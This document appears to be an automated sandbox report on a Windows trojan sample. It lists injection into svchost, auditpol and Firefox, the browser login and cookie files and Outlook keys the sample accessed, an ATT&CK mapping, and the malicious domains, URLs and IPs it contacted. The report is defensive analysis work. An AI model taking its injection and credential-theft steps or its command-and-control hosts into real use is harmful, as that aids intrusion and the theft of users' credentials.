Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtQuerySystemInformation: Direct from: 0x76F148CC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtAllocateVirtualMemory: Direct from: 0x76F148EC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtQueryAttributesFile: Direct from: 0x76F12E6C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtReadVirtualMemory: Direct from: 0x76F12E8C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtCreateKey: Direct from: 0x76F12C6C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtSetInformationThread: Direct from: 0x76F12B4C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtClose: Direct from: 0x76F12B6C
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtAllocateVirtualMemory: Direct from: 0x76F13C9C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtWriteVirtualMemory: Direct from: 0x76F1490C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtCreateUserProcess: Direct from: 0x76F1371C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtTerminateThread: Direct from: 0x76F12FCC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtCreateFile: Direct from: 0x76F12FEC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtOpenFile: Direct from: 0x76F12DCC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtQueryInformationToken: Direct from: 0x76F12CAC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtAllocateVirtualMemory: Direct from: 0x76F12BEC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtDeviceIoControlFile: Direct from: 0x76F12AEC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtSetInformationThread: Direct from: 0x76F063F9	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtOpenSection: Direct from: 0x76F12E0C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtMapViewOfSection: Direct from: 0x76F12D1C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtResumeThread: Direct from: 0x76F136AC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtCreateMutant: Direct from: 0x76F135CC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtWriteVirtualMemory: Direct from: 0x76F12E3C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtNotifyChangeKey: Direct from: 0x76F13C2C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtProtectVirtualMemory: Direct from: 0x76F07B2E	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtProtectVirtualMemory: Direct from: 0x76F12F9C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtSetInformationProcess: Direct from: 0x76F12C5C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtOpenKeyEx: Direct from: 0x76F12B9C	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtQueryInformationProcess: Direct from: 0x76F12C26	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtResumeThread: Direct from: 0x76F12FBC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtDelayExecution: Direct from: 0x76F12DDC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtReadFile: Direct from: 0x76F12ADC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtQuerySystemInformation: Direct from: 0x76F12DFC	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	NtAllocateVirtualMemory: Direct from: 0x76F12BFC	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\auditpol.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: NULL target: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: NULL target: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\auditpol.exe

Thread register set: target process: 420

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\auditpol.exe

Thread APC queued: target process: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 29AC008

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0043916A LogonUserW,

0_2_0043916A

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

0_2_0040D6D0

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004375B0

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_00436431

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\UPDATED Q-LOT24038.exe"	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Process created: C:\Windows\SysWOW64\auditpol.exe "C:\Windows\SysWOW64\auditpol.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00445DD3

Source: UPDATED Q-LOT24038.exe, LPXBsvFDomujkZ.exe, 00000004.00000002.2811386091.0000000000DE0000.00000002.00000001.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000004.00000000.1841292784.0000000000DE0000.00000002.00000001.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2813947261.00000000019A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: LPXBsvFDomujkZ.exe, 00000004.00000002.2811386091.0000000000DE0000.00000002.00000001.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000004.00000000.1841292784.0000000000DE0000.00000002.00000001.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2813947261.00000000019A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: UPDATED Q-LOT24038.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: LPXBsvFDomujkZ.exe, 00000004.00000002.2811386091.0000000000DE0000.00000002.00000001.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000004.00000000.1841292784.0000000000DE0000.00000002.00000001.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2813947261.00000000019A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: LPXBsvFDomujkZ.exe, 00000004.00000002.2811386091.0000000000DE0000.00000002.00000001.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000004.00000000.1841292784.0000000000DE0000.00000002.00000001.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2813947261.00000000019A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: yProgram Manager

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_00410D10 cpuid

0_2_00410D10

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004223BC

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_004711D2 GetUserNameW,

0_2_004711D2

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

0_2_0042039F

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2818192259.0000000005880000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1921916620.0000000005C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2807478612.0000000003110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1920759249.00000000041A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2811678069.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1919938894.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2813920802.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2811743705.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\auditpol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\auditpol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: UPDATED Q-LOT24038.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: UPDATED Q-LOT24038.exe	Binary or memory string: WIN_XP
Source: UPDATED Q-LOT24038.exe	Binary or memory string: WIN_XPe
Source: UPDATED Q-LOT24038.exe	Binary or memory string: WIN_VISTA
Source: UPDATED Q-LOT24038.exe	Binary or memory string: WIN_7

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2818192259.0000000005880000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1921916620.0000000005C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2807478612.0000000003110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1920759249.00000000041A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2811678069.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1919938894.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2813920802.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2811743705.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_004741BB
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,	0_2_0046483C
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0047AD92

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
UPDATED Q-LOT24038.exe	32%	ReversingLabs	Win32.Trojan.Generic
UPDATED Q-LOT24038.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
theclydefund.info	3.33.130.190	true	true	unknown
www.luxe.guru	52.20.84.62	true	true	unknown
azkwupgf.as66588.com	147.92.40.174	true	true	unknown
newdaydawning.net	44.213.25.70	true	true	unknown
www.stayup.top	203.161.43.245	true	true	unknown
www.theclydefund.info	unknown	unknown	true	unknown
www.63582.photo	unknown	unknown	true	unknown
www.bonusgame2024.online	unknown	unknown	true	unknown
www.newdaydawning.net	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.luxe.guru/s9un/	true	unknown
http://www.theclydefund.info/pt4m/	true	unknown
http://www.newdaydawning.net/paa2/	true	unknown
http://www.stayup.top/gubb/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.luxe.guru/	auditpol.exe, 00000005.00000002.2817025287.000000000498A000.00000004.10000000.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2816784140.0000000003CEA000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.theclydefund.info	LPXBsvFDomujkZ.exe, 00000008.00000002.2818192259.0000000005920000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://newdaydawning.net/paa2/?78pd9P=n7l4pK2vJUox4BGQd6S9BuAb4HmjCvTxbp1eoNPi6Q2eN5D	auditpol.exe, 00000005.00000002.2817025287.0000000004B1C000.00000004.10000000.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2816784140.0000000003E7C000.00000004.00000001.00040000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
52.20.84.62	www.luxe.guru	United States	14618	AMAZON-AESUS	true
44.213.25.70	newdaydawning.net	United States	14618	AMAZON-AESUS	true
203.161.43.245	www.stayup.top	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
147.92.40.174	azkwupgf.as66588.com	Hong Kong	59371	DNC-ASDimensionNetworkCommunicationLimitedHK	true
3.33.130.190	theclydefund.info	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525822
Start date and time:	2024-10-04 15:15:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
